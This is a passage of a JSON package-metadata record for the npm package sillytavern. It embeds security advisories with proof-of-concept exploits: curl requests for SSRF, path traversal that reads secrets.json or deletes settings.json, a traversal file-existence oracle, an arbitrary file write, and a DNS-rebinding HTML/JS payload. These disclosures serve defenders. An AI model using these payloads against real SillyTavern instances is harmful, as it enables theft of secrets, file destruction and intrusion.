account password change.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-12T22:23:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","references":["https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-wmm3-h9qj-p5v6","https://github.com/SillyTavern/SillyTavern/releases/tag/1.18.0","https://nvd.nist.gov/vuln/detail/CVE-2026-44648","https://github.com/advisories/GHSA-wmm3-h9qj-p5v6"],"source_kind":"github","identifiers":["GHSA-wmm3-h9qj-p5v6","CVE-2026-44648"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-12T23:00:08.366Z","updated_at":"2026-10-18T11:08:43.953Z","epss_percentage":0.00381,"epss_percentile":0.30554,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13bW0zLWg5cWotcDV2Ns4ABWxp","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13bW0zLWg5cWotcDV2Ns4ABWxp","packages":[{"ecosystem":"npm","package_name":"sillytavern","versions":[{"first_patched_version":"1.18.0","vulnerable_version_range":"\u003c= 1.17.0"}],"purl":"pkg:npm/sillytavern"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13bW0zLWg5cWotcDV2Ns4ABWxp/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13bTdqLW02am0tODc5N84ABUle","url":"https://github.com/advisories/GHSA-wm7j-m6jm-8797","title":"SillyTavern: Incomplete IP validation in /api/search/visit allows SSRF via localhost and IPv6","description":"### Details\nDistinct from CVE-2025-59159 and CVE-2026-26286 (all fixed in v1.16.0). This endpoint is still unpatched.\n\nIn `src/endpoints/search.js` line 419, the hostname is checked against `/^\\d+\\.\\d+\\.\\d+\\.\\d+$/`. This only matches literal dotted-quad IPv4 (e.g. `127.0.0.1`, `10.0.0.1`). It does not catch:\n- `localhost` (hostname, not dotted-quad)\n- `[::1]` (IPv6 loopback)\n- DNS names resolving to internal addresses (e.g. `localtest.me` -\u003e 127.0.0.1)\n\nA separate port check (`urlObj.port !== ''`) limits exploitation to services on default ports (80/443), making this lower severity than a fully unrestricted SSRF.\n\n### PoC\n1. Start SillyTavern v1.16.0 normally\n2. Send requests to compare blocked vs bypassed (requires a valid session cookie or CSRF disabled):\n```bash\n# Blocked — dotted-quad matched by regex\ncurl -s -o /dev/null -w \"%{http_code}\" -X POST http://127.0.0.1:8000/api/search/visit \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"url\": \"http://127.0.0.1/\", \"html\": true}'\n# Returns: 400 (blocked)\n\n# Bypassed — \"localhost\" is not dotted-quad\ncurl -s -o /dev/null -w \"%{http_code}\" -X POST http://127.0.0.1:8000/api/search/visit \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"url\": \"http://localhost/\", \"html\": true}'\n# Returns: 500 (passed validation, fetch attempted, ECONNREFUSED because nothing on port 80)\n\n# Bypassed — IPv6 loopback is not dotted-quad\ncurl -s -o /dev/null -w \"%{http_code}\" -X POST http://127.0.0.1:8000/api/search/visit \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"url\": \"http://[::1]/\", \"html\": true}'\n# Returns: 500 (passed validation, fetch attempted)\n```\n\nThe 400 vs 500 difference confirms `localhost` and `[::1]` pass the IP check. The 500 is ECONNREFUSED (nothing listening on port 80), not a validation rejection.\n\n### Impact\nServer-side request forgery with partial restrictions. An authenticated user can force the server to fetch from internal hosts on default ports (80/443) using hostnames or IPv6 addresses that bypass the IP check. The full response body is returned. Lower severity than a fully unrestricted SSRF due to the port limitation.\n\n## Resolution\n\nThe issue was addressed in version 1.17.0 by improving IPv6 address validation","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-01T21:42:24.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.0,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N","references":["https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-wm7j-m6jm-8797","https://nvd.nist.gov/vuln/detail/CVE-2026-34526","https://github.com/SillyTavern/SillyTavern/releases/tag/1.17.0","https://github.com/advisories/GHSA-wm7j-m6jm-8797"],"source_kind":"github","identifiers":["GHSA-wm7j-m6jm-8797","CVE-2026-34526"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-01T22:00:08.741Z","updated_at":"2026-10-25T17:04:14.195Z","epss_percentage":0.0029,"epss_percentile":0.20502,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13bTdqLW02am0tODc5N84ABUle","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13bTdqLW02am0tODc5N84ABUle","packages":[{"ecosystem":"npm","package_name":"sillytavern","versions":[{"first_patched_version":"1.17.0","vulnerable_version_range":"\u003c= 1.16.0"}],"purl":"pkg:npm/sillytavern"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13bTdqLW02am0tODc5N84ABUle/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12cHJyLXE4NXAtNzltZs4ABUld","url":"https://github.com/advisories/GHSA-vprr-q85p-79mf","title":"SillyTavern: Path Traversal in `/api/chats/export` and `/api/chats/delete` allows arbitrary file read/delete within user data root","description":"## Summary\nA Path Traversal vulnerability in chat endpoints allows an authenticated attacker to read and delete arbitrary files under their user data root (for example `secrets.json` and `settings.json`) by supplying `avatar_url=\"..\"`.\n\n### Details\nThe input validator used by `avatar_url` blocks only `/` and NUL bytes, but does not block traversal segments like `..`.\n\nEvidence:\n- Weak validator regex (does not reject `..`):  \n  \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/middleware/validateFileName.js#L24-L27\u003e\n- Vulnerable delete path construction:  \n  \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L575-L577\u003e\n- Vulnerable export path construction:  \n  \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L595-L598\u003e\n- Endpoint auth context (authenticated user access):  \n  \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239\u003e\n\nBecause `avatar_url=\"..\"` is accepted, `path.join(\u003cuser\u003e/chats, \"..\")` resolves to `\u003cuser\u003e/`, enabling direct access to files outside the chats directory.\n\n### PoC\nPrerequisites:\n- Valid authenticated session cookie (`cookie.txt`)\n- Valid CSRF token (`$TOKEN`)\n\nRead sensitive file (`secrets.json`):\n\n```bash\ncurl -b cookie.txt -H \"x-csrf-token: $TOKEN\" -H \"content-type: application/json\" \\\n  -d '{\"avatar_url\":\"..\",\"is_group\":false,\"file\":\"secrets.json\",\"format\":\"jsonl\",\"exportfilename\":\"x\"}' \\\n  http://TARGET:8000/api/chats/export\n```\n\nDelete sensitive file (`settings.json`):\n\n```bash\ncurl -b cookie.txt -H \"x-csrf-token: $TOKEN\" -H \"content-type: application/json\" \\\n  -d '{\"avatar_url\":\"..\",\"chatfile\":\"settings.json\"}' \\\n  http://TARGET:8000/api/chats/delete\n```\n\n### Impact\n- Confidentiality: exposed per-user secrets and config data.\n- Integrity/Availability: attacker can delete critical per-user files and break account operation.\n- Risk is significant in multi-user or remotely reachable deployments.\n\n### Resolution\n\nThe issue was addressed in version 1.17.0","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-04-01T21:41:48.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","references":["https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-vprr-q85p-79mf","https://nvd.nist.gov/vuln/detail/CVE-2026-34524","https://github.com/SillyTavern/SillyTavern/releases/tag/1.17.0","https://github.com/advisories/GHSA-vprr-q85p-79mf"],"source_kind":"github","identifiers":["GHSA-vprr-q85p-79mf","CVE-2026-34524"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-01T22:00:08.741Z","updated_at":"2026-10-12T12:06:12.670Z","epss_percentage":0.00627,"epss_percentile":0.48524,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12cHJyLXE4NXAtNzltZs4ABUld","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12cHJyLXE4NXAtNzltZs4ABUld","packages":[{"ecosystem":"npm","package_name":"sillytavern","versions":[{"first_patched_version":"1.17.0","vulnerable_version_range":"\u003c= 1.16.0"}],"purl":"pkg:npm/sillytavern"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12cHJyLXE4NXAtNzltZs4ABUld/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01MjVqLTJocmotbThmcM4ABUlc","url":"https://github.com/advisories/GHSA-525j-2hrj-m8fp","title":"SillyTavern: Path Traversal allows file existence oracle","description":"### Summary\n\nA path traversal vulnerability in the static file route handler allows any unauthenticated user to determine whether files exist anywhere on the server's filesystem. By sending percent-encoded `../` sequences (`%2E%2E%2F`) in requests to static file routes, an attacker can check for the existence of files (404 if it doesn't exist, 403 means it exists).\n\n### Details\n\nThe vulnerability is in `createRouteHandler` (`src/users.js:947–963`), which backs all user-data static file routes:\n\n```javascript\nfunction createRouteHandler(directoryFn) {\n    return async (req, res) =\u003e {\n        const directory = directoryFn(req);\n        const filePath = decodeURIComponent(req.params[0]);\n        const exists = fs.existsSync(path.join(directory, filePath)); // no boundary check here\n        if (!exists) {\n            return res.sendStatus(404);\n        }\n        return res.sendFile(filePath, { root: directory });\n    };\n}\n```\n\n`req.params[0]` contains the raw (percent-encoded) wildcard from the URL. After `decodeURIComponent`, a request path like `/characters/%2E%2E%2F%2E%2E%2FUsers/kirakira` decodes to `../../Users/kirakira`, and `path.join` resolves it outside the intended directory. `res.sendFile` correctly blocks the file from being served (the `send` module's root check returns 403), but `fs.existsSync` had already run, and the 403/404 distinction reveals the result.\n\nAffected routes (they all use the same handler, so they're all affected):\n\n- `/characters/*`\n- `/user/files/*`\n- `/assets/*`\n- `/user/images/*`\n- `/backgrounds/*`\n- `/User%20Avatars/*`\n\n### PoC\n\n```bash\ncurl -o /dev/null -s -w \"%{http_code}\\n\" \"http://localhost:8000/characters/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2FUsers/kirakira/something\"\n```\n\n### Impact\n\nWhile file contents cannot be read (the `send` module blocks actual delivery), anyone who can reach the SillyTavern HTTP port can check the existence of files on the host filesystem.\n\n### Resolution\n\nThe issue was addressed in version 1.17.0.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-01T21:40:22.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","references":["https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-525j-2hrj-m8fp","https://nvd.nist.gov/vuln/detail/CVE-2026-34523","https://github.com/SillyTavern/SillyTavern/releases/tag/1.17.0","https://github.com/advisories/GHSA-525j-2hrj-m8fp"],"source_kind":"github","identifiers":["GHSA-525j-2hrj-m8fp","CVE-2026-34523"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-01T22:00:08.741Z","updated_at":"2026-10-22T15:04:58.142Z","epss_percentage":0.00435,"epss_percentile":0.36678,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01MjVqLTJocmotbThmcM4ABUlc","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01MjVqLTJocmotbThmcM4ABUlc","packages":[{"ecosystem":"npm","package_name":"sillytavern","versions":[{"first_patched_version":"1.17.0","vulnerable_version_range":"\u003c= 1.16.0"}],"purl":"pkg:npm/sillytavern"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01MjVqLTJocmotbThmcM4ABUlc/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14dnd3LXhoeDYtMjJwZs4ABUlb","url":"https://github.com/advisories/GHSA-xvww-xhx6-22pf","title":"SillyTavern has a path traversal in `/api/chats/import` allows arbitrary file write outside intended chat directory","description":"### Summary\nA path traversal vulnerability in `/api/chats/import` allows an authenticated attacker to write attacker-controlled files outside the intended chats directory by injecting traversal sequences into `character_name`.\n\n### Details\n`character_name` is used unsafely as part of the destination filename and then passed into `path.join(...)` without sanitization.\n\nEvidence:\n- Import handler entrypoint:  \n  \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L680-L686\u003e\n- Unsanitized `character_name` used in output filename:  \n  \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L719-L723\u003e\n- Same write pattern in JSONL import branch:  \n  \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L759-L766\u003e\n- Endpoint auth context (authenticated user access):  \n  \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239\u003e\n\nExample payload:\n- `character_name=../../../../tmp/st_poc`\n\nThis causes the final destination path to escape from `\u003cuser\u003e/chats/\u003cavatar\u003e/...` and write to an attacker-controlled location such as `/tmp/...` (or any writable path for the service account).\n\n### PoC\nPrerequisites:\n- Valid authenticated session cookie (`cookie.txt`)\n- Valid CSRF token (`$TOKEN`)\n\nPrepare payload:\n\n```bash\nprintf '{\"user_name\":\"u\",\"chat_metadata\":{}}\\n{\"name\":\"u\",\"mes\":\"owned\"}\\n' \u003e/tmp/poc.jsonl\n```\n\nTrigger arbitrary write:\n\n```bash\ncurl -b cookie.txt -H \"x-csrf-token: $TOKEN\" \\\n  -F \"avatar=@/tmp/poc.jsonl\" \\\n  -F \"file_type=jsonl\" \\\n  -F \"avatar_url=a.png\" \\\n  -F \"character_name=../../../../tmp/st_poc\" \\\n  -F \"user_name=u\" \\\n  http://TARGET:8000/api/chats/import\n```\n\nObserved result:\n- A file is created outside chats directory, for example:  \n  `/tmp/st_poc - \u003ctimestamp\u003e imported.jsonl`\n\n### Impact\n- Integrity: attacker can create files in unintended filesystem locations.\n- Availability: can be used for disk abuse and disruptive file placement.\n- Can become more severe when chained with other local processing behaviors.\n\n### Resolution\n\nThe issue was addressed in version 1.17.0","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-04-01T21:36:40.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","references":["https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-xvww-xhx6-22pf","https://nvd.nist.gov/vuln/detail/CVE-2026-34522","https://github.com/SillyTavern/SillyTavern/releases/tag/1.17.0","https://github.com/advisories/GHSA-xvww-xhx6-22pf"],"source_kind":"github","identifiers":["GHSA-xvww-xhx6-22pf","CVE-2026-34522"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-01T22:00:08.741Z","updated_at":"2026-10-14T10:05:30.738Z","epss_percentage":0.00568,"epss_percentile":0.45557,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14dnd3LXhoeDYtMjJwZs4ABUlb","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14dnd3LXhoeDYtMjJwZs4ABUlb","packages":[{"ecosystem":"npm","package_name":"sillytavern","versions":[{"first_patched_version":"1.17.0","vulnerable_version_range":"\u003c= 1.16.0"}],"purl":"pkg:npm/sillytavern"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14dnd3LXhoeDYtMjJwZs4ABUlb/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03Y3hqLXcyN3gteDc4cc4ABNAS","url":"https://github.com/advisories/GHSA-7cxj-w27x-x78q","title":"SillyTavern Web Interface Vulnerable DNS Rebinding","description":"### Summary\nThe web UI for SillyTavern is susceptible to DNS rebinding, allowing attackers to perform actions like install malicious extensions, read chats, inject arbitrary HTML for phishing, etc.\n\n### Details\nDNS rebinding is a method to bypass the CORS policies by tricking the browser into resolving something like `127.0.0.1` for a site's DNS address. This allows anybody to get remote access to anyone's SillyTavern instance **without** it being exposed, just by visiting a website. \n\n### PoC\n1. Host the PoC HTML file on a `/rebind.html` endpoint (or any other endpoint) on a web server on port 8000\n2. Go to https://lock.cmpxchg8b.com/rebinder.html and input your IP address (A) to rebind to 127.0.0.1 (B)\n3. Replace the URL in the HTML with the returned URL on the site\n4. Go to `http://[URL]:8000/rebind.html` in firefox or on any mobile browser if you're using termux\n5. Check the developer tools console. It should return all of the data \n\nHere is the PoC code:\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n  \u003cmeta charset=\"utf-8\"\u003e\n  \u003ctitle\u003eRebind Payload\u003c/title\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n\u003cscript\u003e\nasync function tryRebind() {\n  while (true) {\n    try {\n      let res = await fetch(\"http://[DOMAIN HERE]:8000/\");\n      let text = await res.text();\n\n      if (text.includes(\"Directory listing for /\")) {\n        console.log(\"Still attacker server, retrying...\");\n        await new Promise(r =\u003e setTimeout(r, 2000));\n        continue;  // don't break yet\n      }\n\n      console.log(\"GOT VICTIM RESPONSE!\");\n      console.log(text.substring(0, 300));\n      break;\n\n    } catch (e) {\n      console.log(\"Fetch failed, retrying...\", e);\n      await new Promise(r =\u003e setTimeout(r, 2000));\n    }\n  }\n}\ntryRebind();\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n### Impact\nAttackers can read user chats, inject HTML for stuff like phishing, download arbitrary malicious extensions, etc. Essentially gaining full control over users' SillyTavern systems. \n\n### Resolution\nA vulnerability has been patched in the version 1.13.4 by introducing a server configuration setting that enables a validation of host names in inbound HTTP requests according to the provided list of allowed hosts: `hostWhitelist.enabled` in config.yaml file or `SILLYTAVERN_HOSTWHITELIST_ENABLED` environment variable.\n\nWhile the setting is disabled by default to honor a wide variety of existing user configurations and maintain backwards compatibility, existing and new users are encouraged to review their server configurations and apply necessary changes to their setup, especially if hosting over the local network while not using SSL.\n\n- [Documentation](https://docs.sillytavern.app/administration/config-yaml/#host-whitelisting)\n- [Security checklist](https://docs.sillytavern.app/administration/#security-checklist)\n\n### Resources\n- https://github.com/SillyTavern/SillyTavern/commit/d134abd50e4a416e3b81233242583b0a23f38320","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2025-10-06T20:18:55.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.6,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","references":["https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-7cxj-w27x-x78q","https://nvd.nist.gov/vuln/detail/CVE-2025-59159","https://github.com/SillyTavern/SillyTavern/commit/d134abd50e4a416e3b81233242583b0a23f38320","https://docs.sillytavern.app/administration/#security-checklist","https://docs.sillytavern.app/administration/config-yaml/#host-whitelisting","https://github.com/SillyTavern/SillyTavern/releases/tag/1.13.4","https://github.com/advisories/GHSA-7cxj-w27x-x78q"],"source_kind":"github","identifiers":["GHSA-7cxj-w27x-x78q","CVE-2025-59159"],"repository_url":"https://github.com/SillyTavern/SillyTavern","blast_radius":1.0,"created_at":"2025-10-06T21:00:06.267Z","updated_at":"2026-10-25T17:06:05.059Z","epss_percentage":0.0025,"epss_percentile":0.15527,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03Y3hqLXcyN3gteDc4cc4ABNAS","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03Y3hqLXcyN3gteDc4cc4ABNAS","packages":[{"ecosystem":"npm","package_name":"sillytavern","versions":[{"first_patched_version":"1.13.4","vulnerable_version_range":"\u003c 1.13.4"}],"purl":"pkg:npm/sillytavern"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03Y3hqLXcyN3gteDc4cc4ABNAS/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/sillytavern","docker_dependents_count":5,"docker_downloads_count":121,"usage_url":"https://repos.ecosyste.ms/usage/npm/sillytavern","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/sillytavern/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-10-24T15:48:10.252Z","issues_count":1535,"pull_requests_count":1951,"avg_time_to_close_issue":9650678.166889185,"avg_time_to_close_pull_request":692333.3818827709,"issues_closed_count":749,"pull_requests_closed_count":1126,"pull_request_authors_count":471,"issue_authors_count":926,"avg_comments_per_issue":2.0,"avg_comments_per_pull_request":1.1348026652998462,"merged_pull_requests_count":768,"bot_issues_count":1,"bot_pull_requests_count":6,"past_year_issues_count":136,"past_year_pull_requests_count":215,"past_year_avg_time_to_close_issue":1789643.7142857143,"past_year_avg_time_to_close_pull_request":2091957.5151515151,"past_year_issues_closed_count":14,"past_year_pull_requests_closed_count":66,"past_year_pull_request_authors_count":148,"past_year_issue_authors_count":127,"past_year_avg_comments_per_issue":1.6176470588235294,"past_year_avg_comments_per_pull_request":1.227906976744186,"past_year_bot_issues_count":1,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":28,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/issues","maintainers":[{"login":"Cohee1207","count":213,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Cohee1207"},{"login":"Wolfsblvt","count":189,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Wolfsblvt"},{"login":"RossAscends","count":24,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/RossAscends"},{"login":"deffcolony","count":7,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/deffcolony"},{"login":"jvstinian","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jvstinian"},{"login":"PikachuEXE","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/PikachuEXE"}],"active_maintainers":[{"login":"Wolfsblvt","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Wolfsblvt"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/sillytavern/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/sillytavern/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/sillytavern/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/sillytavern/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/sillytavern/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/sillytavern/codemeta","maintainers":[{"uuid":"cohee","login":"cohee","name":null,"email":"titan0599@gmail.com","url":null,"packages_count":2,"html_url":"https://www.npmjs.com/~cohee","role":null,"created_at":"2023-04-22T17:46:40.658Z","updated_at":"2023-04-22T17:46:40.658Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/cohee/packages"}],"registry":{"name":"npmjs.org","url":"https://registry.npmjs.org","ecosystem":"npm","default":true,"packages_count":6011440,"maintainers_count":1285727,"namespaces_count":452612,"keywords_count":936919,"github":"npm","metadata":{"funded_packages_count":211872,"rate_limit":3},"icon_url":"https://github.com/npm.png","created_at":"2022-04-04T15:19:23.081Z","updated_at":"2026-10-24T05:05:33.551Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/namespaces"}},{"id":15342717,"name":"github.com/sillytavern/sillytavern","ecosystem":"go","description":null,"homepage":null,"licenses":"agpl-3.0","normalized_licenses":[],"repository_url":"https://github.com/sillytavern/sillytavern","keywords_array":[],"namespace":null,"versions_count":1,"first_release_published_at":"2026-09-14T19:01:34.000Z","latest_release_published_at":"2026-09-14T19:01:34.000Z","latest_release_number":"v0.0.0-20260914190134-06bde939fb1e","latest_published_release_number":null,"last_synced_at":"2026-10-24T15:48:09.690Z","created_at":"2026-09-22T21:18:33.179Z","updated_at":"2026-10-24T15:48:09.910Z","registry_url":"https://pkg.go.dev/github.com/sillytavern/sillytavern","install_command":"go get github.com/sillytavern/sillytavern","documentation_url":"https://pkg.go.dev/github.com/sillytavern/sillytavern#section-documentation","metadata":{},"repo_metadata":{"id":115963929,"uuid":"599524116","full_name":"SillyTavern/SillyTavern","owner":"SillyTavern","description":"LLM Frontend for Power Users.","archived":false,"fork":false,"pushed_at":"2026-10-02T22:05:54.000Z","size":215670,"stargazers_count":34889,"open_issues_count":678,"forks_count":6560,"subscribers_count":166,"default_branch":"release","last_synced_at":"2026-10-24T15:48:08.309Z","etag":null,"topics":["ai","chat","llm"],"latest_commit_sha":null,"homepage":"https://sillytavern.app","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"TavernAI/TavernAI","license":"agpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/SillyTavern.png","metadata":{"files":{"readme":".github/readme-de_de.md","changelog":null,"contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","accessibility":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2023-02-09T10:19:24.000Z","updated_at":"2026-10-24T15:43:20.000Z","dependencies_parsed_at":"2026-10-17T04:16:09.865Z","dependency_job_id":null,"html_url":"https://github.com/SillyTavern/SillyTavern","commit_stats":null,"previous_names":["sillytavern/sillytavern","cohee1207/sillytavern"],"tags_count":103,"template":false,"template_full_name":null,"purl":"pkg:github/SillyTavern/SillyTavern","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/SillyTavern","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/refs/heads/release","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":345237552,"owners_count":38488815,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-10-03T21:59:58.778Z","status":"online","status_checked_at":"2026-10-24T02:00:07.043Z","response_time":103,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"SillyTavern","name":"SillyTavern","uuid":"134869877","kind":"organization","description":"","email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/134869877?v=4","repositories_count":1,"last_synced_at":"2023-05-29T18:23:26.436Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/SillyTavern","funding_links":[],"total_stars":null,"followers":null,"following":null,"created_at":"2023-05-29T18:23:26.448Z","updated_at":"2023-05-29T18:23:26.448Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/SillyTavern","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/SillyTavern/repositories"},"tags":[{"name":"1.19.0","sha":"7e8663cd9c184a550b37238218bdd32c6efc68e9","kind":"commit","published_at":"2026-09-14T17:55:46.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.19.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.19.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.19.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.19.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.19.0